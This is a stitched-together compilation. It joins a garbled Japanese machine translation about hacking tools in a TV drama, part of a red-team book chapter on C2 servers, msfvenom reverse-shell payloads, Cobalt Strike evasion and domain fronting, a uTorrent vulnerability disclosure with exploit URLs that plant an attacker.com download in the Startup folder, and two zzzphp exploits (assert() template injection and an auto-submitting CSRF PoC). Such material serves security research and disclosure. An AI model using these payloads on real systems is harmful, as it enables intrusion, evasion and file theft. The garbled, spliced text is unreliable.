いわゆる物理的攻撃は、攻撃者がソフトウェアレベルまたはシステムで関連する脆弱性を見つけることができないことを意味します。当面ターゲットを獲得できない場合は、調査のためにフィールドに行き、ソーシャルエンジニアリングやその他の攻撃方法を通じてターゲットに忍び込みます。この種の攻撃は最も致命的です。bgsawchlujo4082.pngネットワークセキュリティ競争で使用されるツール。前のショットでは、OWASPを使用してターゲットWebサイトをスキャンして脆弱性をスキャンする必要があります。正直に言うと、ページは動いていません。私が何をスキャンしたかわかりません!owasp扫描器

OWASPスキャナーが第2レベルの保護に入った後、3番目のゲームはMSFインターフェイスである必要があります。 MSF構成パラメーターを設定しますが、エクスプロイトはなく、何を待つべきかわかりません。

cvrhq5xo5sj4086.png

カウントダウンが3分の場合、SQLMAPインジェクションが開始されるはずです。hm3giytbja34087.png

ビデオからわかるように、使用されるコマンドはSQLMAP -R 1.TXT - バッチ - レベル5 -V Current -USERSQLMAPの使用です。上記のコマンドを使用して、ポストインジェクションを通じて現在のシステムユーザーを取得する必要があります。

パラメーター解釈:

-R 1。ターゲット要求データはTXTに保存されます。一般的に、バープはパケットをキャッチし、それらをTXTとして保存するために使用されます。

- ユーザーは、バッチ実行中にYESまたはNOを入力する必要はなく、SQLMAPによってプロンプトされたデフォルト値は、継続的に実行されます。

- レベルのリスクレベル、デフォルトは1です。レベルが5の場合、多くのペイロードがテストされ、効率が低下します。

- Current-Userは現在のユーザー名を取得します。

要約

TVシリーズに関与するネットワークセキュリティツールはすべて、私たちが通常持っている一般的なネットワークセキュリティの知識です。映画とテレビのドラマはわずかに拡大していますが、プロットの観点からは、それでも非常に良いです。特にネットワークセキュリティの知識を一般に公開している間、オンラインウォーターアーミー、オンライン詐欺、豚の殺害、オンラインローンなどの人々に関連するトピックを密接にリンクしています。ビデオの最後に、一部のネットワークセキュリティ知識は誰にでも普及します。

記事から転載された出典:https://Blog.bbskali.cn/3666.html

第1章試合前の準備 - インストール

翻訳者:@snowming

レッドチームのメンバーとして、私たちは通常、攻撃の目的にあまり注意を払いません(攻撃方法の詳細)。代わりに、これらの高度な脅威組織のTTP(戦術、テクニック手順)から詳細を学びたいと考えています。たとえば、これはFireeyeの公共脅威インテリジェンス分析レポートです。レポートから、この脅威組織はTwitterをC2サーバーとして使用しており、暗号化された画像と情報のステガノグラフィを保存するためのリポジトリとしてGithubを使用していることがわかります。このレポートを参照して、攻撃方法の特性に基づいてターゲットを絞った適切な防衛計画を作成して、会社がそのような攻撃を検出して傍受できるかどうかを確認できます。

APT攻撃の基本的な紹介をしましょう。 MITRによって提案されているATTCKマトリックス(敵対的な戦術、技術、および一般的な知識マトリックス)は、APT攻撃の詳細な分解です。このマトリックスには、さまざまな攻撃シナリオで使用されるさまざまなTTPの大規模なコレクションがあります。

商用ATTCKマトリックス-Windowsg1pb2mygwhr8078.png

翻訳者のメモ:

上記のマトリックスは、Windowsプラットフォームに適したテクノロジーのみを拡張します。完全な商用エンタープライズATT&CKマトリックスには、MacOSおよびLinuxプラットフォーム向けのテクノロジーも含まれています。

マトリックスの内容は、元の本から厳密にコピーされています。それは、元の本の写真の解決が低すぎたからといって、読者の読書体験のために特別に新しい写真を作りました。 ATTCKマトリックスはまだ中国語で翻訳されていません。翻訳者の才能がシンプルで、あえて醜い翻訳を与えていないため、英語を保持しています。ただし、本にリストされているマトリックスコンテンツは、マトリックスが改訂されたためかもしれないマトリックスコンテンツとは異なることに注意する必要があります。したがって、Enterprise Matrixの公式Webサイトアドレス-Windowsは、読者のリファレンス用に与えられます。

別のリソースは、 @cyb3ropsによってコンパイルされたAPT組織とメソッドの継続的な更新リストです。このGoogleファイルには、疑わしいAPT組織と世界中の複数の国で使用されているツールセットがリストされています。 Redチームメンバーの場合、このドキュメントを参照して、さまざまな攻撃をシミュレートできます。もちろん、ドキュメントにリストされているのと同じツールを使用することはできませんが、同じ攻撃を行うために同様のツールを構築できます。

kpfsswnylpo8079.png

ブレークスルー演習を仮定する

セキュリティの問題に直面して、企業の正しい態度は、最初からそれが妥協されたと仮定することです。しかし、実際には、あまりにも多くの企業が、いわゆるセキュリティ構成または年間浸透テストを通じて安全であると考えています。私たちは思考の状態に入る必要があります。私たちは常に、悪が私たちの周りに潜んでいると仮定して、常に異常を探す必要があります。

これは、レッドチームの活動が浸透テストとは大きく異なる場所です。 Redチームの活動は、脆弱性ではなく対策の検出/提供に焦点を当てているため、よりユニークな評価を行うことができます。クライアントに大きな価値を提供する評価の利点は、想定される違反演習と呼ばれます。仮説的なブレークスルー演習では、遭遇する0日間は常にあります。それで、クライアントは、2番目と第3段階のステップの影響を認識して軽減できますか?

これらのシナリオでは、Redチームは社内の限られたチームと協力して、サーバーでカスタムマルウェアペイロードを実行します。このペイロードは、複数の方法で接続し、一般的なAVをバイパスし、メモリから余分なペイロードを実行できるようにする必要があります。本全体でペイロードの例をいくつか提供します。最初のペイロードが実行されると、すべての楽しみがここから始まります!

アクションを設定

これは、レッドチームイベントの私のお気に入りの部分です。最初のシステムを攻撃する前に、レッドチームのアクティビティ範囲を決定する必要があります。多くの侵入テストでは、目標を達成し、その単一のシステムに入ろうとし続けます。何かが失敗した場合、次のことに移ります。スクリプトがなければ、通常、このネットワークに非常に焦点を当てています。

Red Teamイベントでは、いくつかの目標から始めます。これらの目的は、を含むかもしれませんが、これらに限定されません

究極の目標は何ですか?適切な検出ですか?サーバーにフラグを取得する必要がありますか?データベースからデータを取得していますか?または、検出タイムネス(TTD)インジケーターを取得するだけですか?

コピーしたい公的な活動はありますか?

どんなテクニックを使用しますか? Miter ATTCKマトリックスの使用について説明しましたが、各カテゴリの正確な手法は何ですか?

Red Canary Research Groupは、各手法に関する詳細情報を提供しています。これらの詳細を表示するために少し時間がかかることを強くお勧めします。

顧客はどのツールを使用してほしいですか? Metasploit、Cobalt Strike、DNS CATなどの商用攻撃ツールソフトウェアはありますか?または自家製のカスタマイズツール?

良いニュースは、キャッチされることも評価の一部であるということです。 4〜5回キャッチされ、4〜5種類の環境で排除される侵略がいくつかあります。これは、顧客が予想通りに防御が機能している(または機能していない)ことを顧客に示します。本の最後に、メトリックを取得してこのデータを報告する方法を示すレポートの例をいくつか提供します。

外部サーバー

を設定します

レッドチームのアクティビティを構築するために、さまざまなサービスを使用しています。今日のVPSの世界では、インターネット上の攻撃者に抵抗する機械は予算を超えません。たとえば、私は通常、Digital OceanまたはAWSのLightsail ServerからDroplets Compute Serviceを使用して、VPSサーバーを構成します。これらのサービスを使用する理由は、通常、安価な(場合によっては無料)、Ubuntuシステム用のサーバーのオプションがあり、必要に応じてさまざまな地域のサーバーを購入することを選択できるためです。最も重要なことは、セットアップが非常に簡単です。数分以内に、複数のサーバーのMetasploitおよびEmpire Servicesをセットアップおよび実行できます。

この本では、AWSのLightsail Serverに焦点を当て、セットアップしたり、サービスを自動化したり、通常AWSに行くトラフィックを自動化したりできます。好きな画像を正常に作成した後、画像を複数のサーバーにすばやくクローンすることができます。これにより、既製のC2(コマンドおよびコントロール)ボックスを簡単に構築できます。

繰り返しますが、問題に陥らないように、VPSプロバイダーのサービス利用規約に従うようにする必要があります。

操作の重要なポイントは次のとおりです。

https://lightsail.aws.amazon.com/

インスタンスを作成します

少なくとも1GBのメモリを使用することを強くお勧めします

ハードディスクのサイズに一般的に問題はありません。好きなように選択できます

Linux/unix

オペレーティングシステムのみ - ubuntu

証明書をダウンロードしてください

CHMOD 600 CERT(翻訳者の注:所有者のみが読み取りおよび書き込み許可を持っています)

ssh -i cert ubuntu@[ip]

サーバーを構築するための簡単な方法は、TrustedSecの侵入テストフレームワーク(PTF)を統合することです。 PTFフレームワークは、あなたのために多くのハードワークを行い、他のすべてのフレームワークを作成できるスクリプトのコレクションです。すべてのエクスプロイトモジュール、情報収集モジュール、浸透後エクスプロイトモジュール、PowerShell攻撃モジュール、および脆弱性分析ツールを簡単にインストールしましょう。

sudo su-

Apt-Getアップデート

apt-getインストールpython

git clonehttps://github.com/trustedsec/ptf/opt/ptf

cd/opt/ptf ./ptf

モジュール/exploitation/install_update_allを使用します

モジュール/インテリジェンス収集/install_update_allを使用します

モジュール/爆発後/install_update_allを使用します

Modules/PowerShell/install_update_allを使用します

モジュール/脆弱性- 分析/install_update_allを使用します

CD /Pentest

次の図は、利用可能なすべてのモジュールを示しており、その一部は自分でインストールしました。345aetnffo38080.png

図:利用可能なすべてのモジュールのリスト

攻撃者VPSを見ると、マシンにインストールされているすべてのツールが表示されます。 Metasploitを開始したい場合は、MSFCONSOLEを入力できます。fsmfieez2p58081.png

図: /Pentestフォルダーにインストールされているすべてのツール

強力なiPtablesルールを作成することをお勧めします。これは攻撃サーバーになるため、SSH認証を開始できる場所、Empire/MeterPreter/Cobalt Strikeのペイロードを開始できる場所、およびサポートするフィッシングページを制限することをお勧めします。

2016年後半に覚えている場合、誰かが認識されていないリモートコード実行(RCE)(https://Blog.cobaltstrike.com/2016/09/28/cobalt-strike-rce-exploitate-reported/)を発見しました。確かに、攻撃されたサーバーによって顧客データが破損することを望んでいません。

AWSでKali Linux(または少なくともMetasploit)を実行している赤いチームがいくつか見てきました(:http://bit.ly/2qz2vn9を参照)。私の意見では、独自のシステムを作成しても構いません。しかし、より良いオプションは、複数のマシンを展開するための効率的で繰り返し可能なプロセスを作成することです。 Lightsailを使用することの最大の利点は、マシンを好みとして構成すると、1つのマシンをスナップショットして、その画像を使用して複数の新しいインスタンスを展開できることです。

環境を次のレベルに引き上げたい場合は、Coalfire Instituteのチームをご覧ください。カスタムモジュールを構築して、すべてのハードワークと自動化を実行します。 Red Baronは、Terraformのモジュールとカスタム/サードパーティプロバイダーのセットであり、Redチーム向けの柔軟で1回限り、安全で柔軟なインフラストラクチャを自動的に作成します。フィッシングサーバーの構築、コバルトストライクインフラストラクチャ、DNS C2サーバーの作成など、Terraformを使用してすべて実行できます。

https://github.com/coalfire-research/red-baronをチェックして、すべての異なるモジュールを表示して、独自のインフラストラクチャをすばやく構築してください。

赤いチームのコアツール

Redチームは多くのツールを使用する場合がありますが、最もコアツールのいくつかについて説明しましょう。 Redチームのメンバーとして、私たちの目標は環境を破壊することではなく(これは最も興味深いものですが)、実際の攻撃を複製して、顧客が保護されており、非常に短い時間で攻撃を検出できるかどうかを確認することであることを忘れないでください。前の章では、他のAPT組織から攻撃者のプロファイルとツールセットをコピーする方法を学んだので、最も一般的なREDチームツールのいくつかを確認しましょう。

metasploitフレームワーク

この本は、以前の本のようにメタプロイトの深さにはなりません。 Metasploitフレームワークは2003年以来元々開発されましたが、今でも素晴らしいツールです。これは、元の開発者H.D.の継続的なサポートによるものです。ムーアと非常に活発なコミュニティ。毎日更新されていると思われるこのコミュニティ主導のフレームワークには、最新の脆弱性の搾取、浸透後の搾取モジュール、補助モジュールなどがすべてあります。

Red Team Projectの場合、Metasploitを使用してMS17-010 Eternal Blueの脆弱性を介して内部システムを侵害して最初のイントラネットシェルを取得するか、MetaSploitを使用してソーシャルエンジニアリング攻撃のメータープレターのペイロードを生成する場合があります。

後の章では、Metasploitペイロードを再コンパイルし、ウイルス対策ソフトウェアとネットワーク監視をバイパスする方法を紹介します。

混乱しているメータープレターのペイロード

ターゲットでソーシャルワークの試みを行っている場合、ペイロードの運送業者としてWordまたはExcelドキュメントを使用する場合があります。ただし、潜在的な問題は、MeterPreterのペイロードにバイナリファイルを含めることも、ターゲットマシンにWebからペイロードをダウンロードさせることもできない可能性があることです。これらの操作は、ターゲットマシンのウイルス対策ソフトウェアのアラートをトリガーする可能性があるためです。だから、ここにファジングにPowerShellを使用して、簡単なソリューションがあります。

MSFVENOM -PAYLOAD WINDOWS/X64/METERPRETER_REVERSE_HTTP -FORMAT PSH -OUT METERPRETER -64.PS1 LHOST=127.0.0.1

難読化を次のレベルに引き上げ、Unicornなどのツールを使用して、この本で詳細にカバーするファジーパワーシェルベースのメータープレターペイロードを生成することもできます。

jticrlsxzku8082.png

さらに、信頼できる機関によって発行されたSSL/TLS証明書を使用すると、特定のネットワークでID(侵入検知システム)をバイパスするのに役立ちます。詳細については、実装するには次のリンクを参照してください:MeterPreter Paranoidモード。

最後に、この本の後半では、Metasploit/MeterPreterを使用してホストベースとネットワークベースの検出ツールをバイパスする方法について説明します。

コバルトストライク

コバルトストライクは、私のお気に入りのレッドチームシミュレーションツールの1つです。コバルトストライクとは何ですか?これは、後期段階で持続する浸透、水平方向の動き、交通の隠れ、およびデータの盗難のためのツールです。コバルトストライキには直接的な搾取はなく、最新の0日間の脆弱性でシステムを侵害していません。フィッシングキャンペーンの一部としてサーバーで悪意のあるCSコードを実行しているか、CSを使用している場合、CSがどれほど広範で強力なCSであるかを感じることができます。マシンでCobalt Strikeのペイロードを実行できたら、C2サーバー(TeamServer)に戻るビーコン(リモートトロイの木馬)接続を作成します。

新しいコバルトストライクライセンスの費用は3,500ドル(1人のユーザーの場合は1年)ので、安価なツールではありません。ただし、ソフトウェアには無料の限定試験バージョンがあります。

コバルトストライクインフラストラクチャ

上記のように、インフラストラクチャの観点から、このような再利用可能で非常に柔軟な環境をセットアップしたいと考えています。コバルトストライクはリダイレクトをサポートします。コバルトストライクで使用されているC2ドメイン名が破壊された場合、新しい環境を作成および有効にする必要はありません。新しいC2ドメイン名を交換するだけです。 SOCATを使用してこれらのリダイレクターの構成に関する詳細情報をご覧ください:リンク1リンク2

图片名称

リダイレクトを改善するには、ドメイン名プリセット(ドメイン名カバー)を使用できます。ドメイン名の前置詞は、他のドメイン名とインフラストラクチャテクノロジーをコントローラーリダイレクトとして使用するテクノロジーのコレクションです(参照リンク)。これは、Amazon CloudのCloudFrontや他のGoogleホストなど、人気のあるコンテンツ配信ネットワーク(CDN)を使用して、トラフィックソースを隠すことで実行できます。これは、過去に異なる攻撃者によって悪用されてきました(リンクを参照)。

これらの高報告ドメインを使用することにより、HTTPまたはHTTPSからのトラフィックは、悪意のあるC2サーバーではなく、これらのドメインと通信しているように見えます。これはすべてどのように機能しますか?比較的抽象的な例では、すべてのトラフィックは、クラウドフロントの主要なドメイン名であるA0.awsstatic.comなど、CloudFrontの主要な完全資格のドメイン名(FQDNS)に送信されます。リクエストでホストヘッダーを変更すると、すべてのトラフィックがクラウドフロント配信にリダイレクトされ、最終的にトラフィックがコバルトストライクC2サーバーに転送されます(リンクを参照)。

图片名称

HTTPホストのヘッダーを変更することにより、CDNはトラフィックを簡単に正しいサーバーに戻します。 Redチームは、このテクノロジーを使用して、高表現ドメインを使用してC2サーバーからのトラフィックを隠しています。

ドメイン名の前提条件をサポートする2つの異なる企業からの2つの優れたリソース:

Cyberarkはまた、Googleのアプリ製品を使用してwww.google.com、mail.google.com、またはdocs.google.comを介してトラフィックを流れるように見えるようにする方法を紹介した良いブログ投稿を書きました。

Vincent Yiuは、Alibaba CDNを使用して独自のドメイン名の事前攻撃をサポートする方法に関する記事を書きました。

コバルトストライクは、ドメイン名プリセットをサポートできる唯一のツールではなく、メータープレターを介して実行することもできます(リンクを参照)。

注:この本が公開されたとき、AWS(Google Cloudでさえ)がすでにドメイン名プリセット(https://amzn.to/2i6lsry)を保護し始めていました。これは、このタイプの攻撃を防ぐのではなく、それを利用するために異なるサードパーティのリソースを必要とするだけです。

インフラストラクチャの一部ではありませんが、内部環境でビーコンがどのように機能するかをまだ理解する必要があります。運用上のセキュリティの観点から、簡単に発見されクリアされる永続的な接続の確立を避ける必要があります。 Redチームのメンバーとして、クライアントの一部がBlueチームによって発見されると仮定する必要があります。すべてのホストが1つまたは2つのC2サーバーと通信した場合、ブルーチームはインフラストラクチャ全体を簡単に根こそぎにすることができます。幸いなことに、Cobalt Strikeは、イントラネットホスト間のSMBベースのビーコンの使用を相互作用のために使用することをサポートしています。これにより、感染したコンピューターを通常の適切なビーコンでC2サーバーに接続し、内部ネットワーク上の他のすべてのサーバーをSMBプロトコルを介して最初に感染したホストと通信することができます。この接続により、Blueチームがレベル2システムの問題を検出し、法医学分析を実行すると、攻撃に関連付けられたC2サーバードメイン名を特定できない場合があります。

コバルトストライクは、ビーコン通信を操作できます。これは、レッドチームメンバーにとって非常に便利な機能です。カスタムC2構成ファイルを使用して、感染したホストシステムからのすべてのトラフィックを通常のトラフィックと同じように見せることができます。ここで、レイヤー7ネットワークアプリケーションレイヤーのイントラネット環境がますますフィルタリングすることがわかります。多くの場合、ブルーチームは、このレイヤーのネットワーク通信における異常なトラフィックを探しています。それでは、どのようにしてC2通信を通常のWebトラフィックのように見せることができますか?これは、カスタマイズ可能なC2プロファイルが作用する場所です。この例を見てください。この例を読むと、いくつかの明白な情報が表示されます。

これにより、URIパスでHTTPリクエストが生成されることがわかります。

set uri“/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books”;

ホストヘッダーはAmazonに設定されています:

ヘッダー「ホスト」「www.amazon.com」;

一部のカスタムサーバーヘッダーでさえ、C2サーバーから送信されます。

ヘッダー「x-amz-id-1」「thkuyezkkkpgy5t42pzt」;

ヘッダー "x-amz-id-2" "a21yz2xrndntddgrsa212bgv3yw85amzuzw9ydg5rzmruz2t

多くの赤いチームがこれらのプロファイルを多くの異なるアクティビティで使用しており、多くのセキュリティベンダーがすべての一般的なカスタムプロファイルの指紋署名を作成しています。この問題を解決するために、私たちにできることは:です。構成ファイル内のすべての静的文字列が変更され、すべてのユーザーエージェント情報が変更され、SSLは実際の証明書で構成され(Cobalt StrikeのデフォルトSSL証明書を使用しないでください)、Jitterレートを調整し、クライアントのビーコン時間を変更します。最後のメモは、Post(http-post)コマンドを介して通信を確保することです。そうしないと、カスタム構成ファイルを使用する場合に多くの問題につながる可能性があるためです。構成ファイルがhttp-getを介した通信を規定している場合でも機能しますが、大きなファイルのアップロードは常に制限されます。 GETリクエストは通常2048文字に制限されることを忘れないでください。

SpectorOpsセキュリティチームは、難読化C2構成ファイルをカスタマイズするプロジェクトも作成しました。

翻訳者の注:このスクリプトは、Cobalt Strikeの構成ファイルを署名検出ソフトウェアをバイパスするために難読化することができます。原則は、提供された辞書のランダム文字列に変数を置き換え、新しい順応性C2構成ファイルを出力することです。

コバルトストライクの攻撃者スクリプト

コバルトストライクプロジェクトには多くの貢献者がいます。 Aggressor Scriptingは、スクリプト可能なIRCクライアントとボットに触発された、レッドチームの運用と対戦相手シミュレーションのためのスクリプト言語です。それを開発するには2つの目的があります。

長期にわたるロボットを作成して、仮想レッドチームメンバーをシミュレートし、ハックすることができます

また、ニーズに応じて、コバルトストライククライアントの機能を拡張および変更することもできます。公式紹介ページ:https://www.cobaltstrike.com/aggressor-script/index.html

例:harleyqu1nnは、1つのプロジェクトにさまざまな攻撃的なスクリプトを入れて、その後のエクスプロイトに使用するために:http://bit.ly/2qxiwpe

PowerShell Empire

Empireは、純粋なPowerShell 2.0 Windowsプロキシと純粋なPython 2.6/2.7 Linux/OS Xプロキシを含む晩期のエクスプロイトフレームワークです。これは、以前のPowershell EmpireとPython Empyreプロジェクトの合併です。このフレームワークは、暗号化された安全な通信と柔軟なアーキテクチャを提供します。 Powershellの観点から、EmpireはPowerShell.exeなしでPowerShellエージェントを実行する能力を実装しています。また、エンパイアには、キーボードロガーからミミカッツまで、迅速に展開できるエクスプロイトモジュールがたくさんあります。エンパイアは、ネットワーク検出を回避するために通信を調整することもできます。これらの機能はすべて、実用的なフレームワークにカプセル化されています。

レッドチームのスタッフにとって、Powershellは私たちの親友の一人です。有効なペイロードを初期化した後、その後のすべての攻撃はメモリに保存されます。帝国の最大の利点は、開発者によって積極的に維持および更新されているため、最新のポストエクスプロイトモジュールを使用して攻撃できることです。また、LinuxとOS XのC2接続もあります。したがって、Macベースのオフィスマクロを作成することができ、実行されたときに帝国に新しいプロキシを持つことができます。

この本を通して帝国をより詳細に紹介し、それがどれほど強力かを理解できるようにします。帝国のセットアップに関しては、安全に構成していることを確認することが重要です。

証明書パス証明書を真の信頼できるSSL証明書に設定します。

DefaultProfileエンドポイントを変更します。多くのレイヤー7ファイアウォールは、正確な静的エンドポイントを探しています。

通信に使用されるユーザーエージェントを変更します。

本の最初の2つのエディションでは、Metasploitのソースファイルが自動化に使用されており、Empireは自動的に実行されたスクリプトをサポートしていると述べました。

帝国を走る:

帝国を初期化します

cd/opt/Empire ./setup/reset.sh

やめる

出口

証明書をインストールする(できれば実際の信頼できる証明書を使用する)

./setup/cert.sh

emを実行し始めます

By default, utorrent create an HTTP RPC server on port 10000 (uTorrent classic) or 19575 (uTorrent web). There are numerous problems with these RPC servers that can be exploited by any website using XMLHTTPRequest(). To be clear, visiting *any* website is enough to compromise these applications.


uTorrent web (http://web.utorrent.com)
======================================

As the name suggests, uTorrent Web uses a web interface and is controlled by a browser as opposed to the desktop application. By default, uTorrent web is configured to startup with Windows, so will always be running and accessible. For authentication, a random token is generated and stored in a configuration file which must be passed as a URL parameter with all requests. When you click the uTorrent tray icon, a browser window is opened with the authentication token populated, it looks like this:

http://127.0.0.1:19575/gui/index.html?localauth=localapic3cfe21229a80938:

While not a particularly strong secret (8 bytes of std::random_device), it at least would make remote attacks non-trivial. Unfortunately however, the authentication secret is stored inside the webroot (wtf!?!?!?!), so you can just fetch the secret and gain complete control of the service.

$ curl -si http://localhost:19575/users.conf
HTTP/1.1 200 OK
Date: Wed, 31 Jan 2018 19:46:44 GMT
Last-Modified: Wed, 31 Jan 2018 19:37:50 GMT
Etag: "5a721b0e.92"
Content-Type: text/plain
Content-Length: 92
Connection: close
Accept-Ranges: bytes

localapi29c802274dc61fb4        bc676961df0f684b13adae450a57a91cd3d92c03        94bc897965398c8a07ff    2       1

This requires some simple dns rebinding to attack remotely, but once you have the secret you can just change the directory torrents are saved to, and then download any file anywhere writable. For example:

# change the download directory to the Startup folder.
http://127.0.0.1:19575/gui/?localauth=token:&action=setsetting&s=dir_active_download&v=C:/Users/All%20Users/Start%20Menu/Programs/Startup

# download a torrent containing calc.exe
http://127.0.0.1:19575/gui/?localauth=token:&action=add-url&url=http://attacker.com/calc.exe.torrent

I wrote a working exploit for this attack, available here:

http://lock.cmpxchg8b.com/Moer0kae.html

The authentication secret is not the only data accessible within the webroot - settings, crashdumps, logs and other data is also accessible. As this is a complete remote compromise of the default uTorrent web configuration, I didn't bother looking any further after finding this.

uTorrent Classic (https://www.utorrent.com/downloads/win)
=========================================================

By default utorrent Classic creates a JSON RPC server on port 10000, it's not clear to me that this was intentionally exposed to the web, as many endpoints crash or interfere with the UI. Here are some example actions that websites can take:

http://lock.cmpxchg8b.com/utorrent-crash-test.html

Nevertheless, browsing through the available endpoints I noticed that the /proxy/ handler is enabled and exposed by default, and allows any website to enumerate and copy any files you've downloaded. To be clear, any website you visit can read and copy every torrent you've downloaded. This works with the default configuration.

This requires brute forcing the "sid" which is a small integer that is incremented once for each torrent, this can be brute forced in seconds.

e.g.

$ curl -sI 'http://localhost:10000/proxy/0/?sid=2&file=0&callback=file'
HTTP/1.1 200 OK
Content-Type: audio/mpeg
Server: BitTorrentProxy/1.0
Connection: close
Accept-Ranges: bytes
ETag: "8FD54C339FE8B8A418CE2299AF2EADD9B1715D7A"

file is the index in a multi-file torrent (here there is just one file) and callback is a javascript callback. This means any website can find out what you've downloaded, and then just copy it from you - all the data.

I made a simple demo, screenshot of how it's supposed to look attached. It's really slow, but demonstrates that a website can enumerate and read any data you've downloaded via uTorrent.


http://lock.cmpxchg8b.com/Ahg8Aesh.html

Here is how I reproduced:

* On a fresh Windows 7 VM, install utorrent 3.5 (44294). Accept all default settings.
* File -> Add torrent from URL..., enter https://archive.org/download/SKODAOCTAVIA336x280/SKODAOCTAVIA336x280_archive.torrent
* When the torrent is finished (it's only about 5MB), visit this URL in Chrome: http://lock.cmpxchg8b.com/Ahg8Aesh.html
* Click "Start Attack"
* Wait a few minutes.

The page should have figured out the size and file type, and gives an option to steal the files. See screenshot attached.

----------

The utorrent binary disables ASLR and /GS. This is a really bad idea. (Note that the binary is UPX packed, but this doesn't change any security properties).

----------

I noticed that utorrent is using unmodified mersenne twister to generate authentication tokens and cookies, session identifiers, pairing keys, and so on. The PRNG is seeded with GetProcessId(), GetTickCount() etc. That is already not great quality seed data, but mersenne twister makes no guarantees that someone who can view sample output can't reconstruct the state of the PRNG.

This is actually one of the FAQs on the mersenne twister site:

http://www.math.sci.hiroshima-u.ac.jp/~m-mat/MT/efaq.html

This allows anyone to reconstruct things like pairing keys, webui session cookies, etc, etc. You can sample unlimited prng output, so this is a serious design flaw.

----------

Finally, a minor issue - the documentation for the "guest" account feature says many actions are disabled for security, but I tested it and that it plain isn't true:

$ curl -si 'http://guest@localhost:10000/gui/?action=getsettings&callback=error&btapp='
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 16572
Content-Type: text/javascript
Set-Cookie: GUID=6yY1pkIHHMvvHo8tgOYu; path=/
Cache-Control: no-cache

{"build":44090,"settings": [
["install_modification_time",0,"0",{"access":"Y"}]
...


Perhaps this got broken at some point, but this feature is web-accessible, so this should probably be fixed (or suitable warnings added). I can't imagine many users enabled this, but those that did probably expected the security boundaries described in the documentation to be enforced.
            
# Exploit Title: dynamic code evaluation of zzzphp cms 1.6.1

# Google Dork: intext:"2015-2019 zzcms.com"

# Date: 24/02/2019

# Exploit Author: Yang Chenglong

# Vendor Homepage: http://www.zzzcms.com/index.html

# Software Link: http://115.29.55.18/zzzphp.zip

# Version: 1.6.1

# Tested on: windows/Linux,iis/apache

# CVE : CVE-2019-9041

Due to the failure of filtering function parserIfLabel() in inc/zzz_template.php, attackers can insert dynamic php code into the template file and leads to dynamic code evaluation.

Exploit:
login in to the admin panel, edit the template of search.html, insert the following code:

{if:assert($_POST[x])}phpinfo();{end if}

Visit the http://webroot/search/ and post data “x = phpinfo();”, the page will execute the php code “phpinfo()” as follow:
[1.png]

Remarks:
While the above exploit requires attackers to have the access to the admin panel, I will post another exploit by using csrf to acquire the control of website without access to the admin panel.
            
# Exploit Title: Cross-Site Request Forgery(CSRF) of zzzphp cms 1.6.1
# Google Dork: intext:"2015-2019 zzcms.com"

# Date: 26/02/2019

# Exploit Author: Yang Chenglong

# Vendor Homepage: http://www.zzzcms.com/index.html

# Software Link: http://115.29.55.18/zzzphp.zip

# Version: 1.6.1

# Tested on: windows/Linux,iis/apache

# CVE : CVE-2019-9082

Due to the absence of CSRF token in the request, attackers can forge the post request and insert malicious codes into the template file which leads to dynamic code evaluation.

Exploit:


<html>



  <!-- CSRF PoC - generated by Burp Suite Professional -->



  <body>



  <script>history.pushState('', '', '/')</script>



    <form action="http://192.168.1.64/zzzphp/admin015/save.php?act=editfile" method="POST">



      <input type="hidden" name="file" value="&#47;zzzphp&#47;template&#47;pc&#47;cn2016&#47;html&#47;search&#46;html" />



      <input type="hidden" name="filetext" value="&#123;if&#58;assert&#40;&#36;&#95;POST&#91;x&#93;&#41;&#125;phpinfo&#40;&#41;&#59;&#123;end&#32;if&#125;" />



      <input type="submit" value="Submit request" />



    </form>



    <script>



      document.forms[0].submit();



    </script>



  </body>



</html>

Save the codes above as html file and host it on a web server. Send the link to the administrator of the website and ask him to click the link(request for exchange friend link or any other possible method), if the person has logged on to the admin panel, it will automatically insert malicious codes in to the template file and leads to dynamic code evaluation.

Remarks: This is a follow up exploit of CVE-2019-9041, whose exploit is here: https://www.exploit-db.com/exploits/46454